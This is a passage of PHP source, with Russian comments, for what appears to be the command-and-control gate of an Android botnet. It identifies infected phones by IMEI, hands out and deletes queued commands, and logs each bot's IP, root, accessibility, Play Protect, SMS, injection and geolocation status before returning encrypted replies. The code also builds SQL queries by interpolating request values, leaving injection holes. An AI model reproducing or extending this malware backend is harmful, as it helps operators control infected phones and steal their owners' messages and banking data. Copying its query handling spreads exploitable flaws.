exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT IMEI FROM kliets WHERE IMEI='$IMEI'");
$statement->execute([$IMEI]);
$booleanIMEI = false;
foreach($statement as $row)
{
if($row['IMEI']==$IMEI)
{
$booleanIMEI=true;
break;
}
}
if($booleanIMEI == true)
{
$statement = $connection->prepare("SELECT * FROM commands WHERE IMEI='$IMEI'");
$statement->execute([$IMEI]);
//$sql2 = "SELECT * FROM commands WHERE IMEI='$IMEI'";
$data_comm = "";
$booldelcommands=false;
foreach($statement as $row)
{
if($row['IMEI']==$IMEI)
{
$com0 = "id=";
$com1 = $row['id'];
$com2 = $row['command'];
$data_comm = "$data_comm$com0$com1$com2";
$booldelcommands=true;
}
}
if($booldelcommands)
{
//Удаляем нафиг команды!
$statement = $connection->prepare("DELETE FROM commands WHERE IMEI='".$IMEI."'");
$statement->execute([$IMEI]);
//$sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
//$connection->query($sql3);
}
//Записываем время конекта в бд и другую инфу
$data_ = date('Y-m-d H:i:s');
$ipbot = GetIP();
$statement = $connection->prepare("UPDATE kliets SET step='$step', ip= '$ipbot', lastConnect = '$data_', r00t = '$root',requestInjProc = '$checkIconInj', requestGeoloc='$checkIconGeolocation', requestSMS = '$checkIconSMS', screen='$screen', accessibility='$accessibility', seconds = '$seconds', playprotect='$playprotect', doze='$doze' WHERE IMEI='".$IMEI."';");
$statement->execute(array($step,$ipbot,$data_,$root,$screen,$IMEI,$checkIconInj,$checkIconGeolocation,$accessibility,$seconds,$checkIconSMS,$playprotect));
//отправляем статус настроек
if(($data_comm == "")||($data_comm == " "))
{
$statement = $connection->prepare("SELECT IMEI, state FROM settings WHERE IMEI='$IMEI'");
$statement->execute([$IMEI]);
//$sql = "SELECT IMEI, state FROM settings WHERE IMEI='$IMEI'";
foreach($statement as $row)
{
if($row['IMEI']==$IMEI)
{
if($row['state']=="1")
{
$data_comm="state1letsgotxt";
$statement = $connection->prepare("UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."'");
$statement->execute([$IMEI]);
}
}
}
if($data_comm!="state1letsgotxt")
{
$sql = "SELECT id, hash FROM settingsall WHERE id='1'";
foreach($connection->query($sql) as $row){
if($row['hash']!=$settingsALLhash){
$data_comm="$data_comm|ALLSETTINGSGO|";
}
break;
}
}
if(($data_comm == "")||($data_comm == " "))$data_comm="2*0*0";
}
$booleanIMEI == false;
//достаем команды и отправляем!
$tag = "";
$otv = encrypt("$data_comm",cryptKey);
$tagend = "";
echo "$tag$otv$tagend";
}
else
{//Если нет ID бота!
$tag = "";
$otv = encrypt("|NO|",cryptKey);
$tagend = "";
echo "$tag$otv$tagend";
}
function GetIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
//проверяем существует ли такой IMEI
//если существует, достаем команды которые есть и отдаем
//если не существует отдаем |NO|
//SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
?>